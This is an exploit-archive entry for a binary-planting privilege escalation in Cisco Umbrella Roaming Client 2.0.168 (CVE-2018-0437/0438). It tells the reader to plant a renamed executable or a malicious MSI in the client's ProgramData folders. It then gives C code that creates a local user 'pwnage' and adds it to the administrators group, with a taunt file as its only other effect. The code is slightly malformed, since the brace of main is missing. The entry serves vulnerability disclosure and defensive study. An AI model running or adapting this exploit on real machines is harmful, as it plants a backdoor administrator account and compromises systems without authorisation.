Cisco Umbrella Roaming Client 2.0.168 Privilege Escalation

Cisco Umbrella Roaming Client version 2.0.168 suffers from a privilege escalation vulnerability.

MD5 | 077c7382cf0843a8338f4cafa0c01262

# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage:
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:

OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit

Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:\ProgramData\OpenDNS\ERC\" directory. Restart the machine!

Affected Binary paths:

More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:\ProgramData\OpenDNS\ERC\Upgrades\" and restart the machine.

Tools Used:
A!Advanced Installer 14.8" - Used to create the MSI


#include <stdlib.h>
#include <stdio.h>

int main()
system("net user pwnage pwnage /add");
system("net localgroup administrators pwnage /add");

FILE * fp;
int i;
/* open the file for writing*/
fp = fopen ("c:\\opendns_pwnage.txt","w");

fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin!\nBrought to you by paragonsec @criticalstart");

/* close the file*/
fclose (fp);
return 0;

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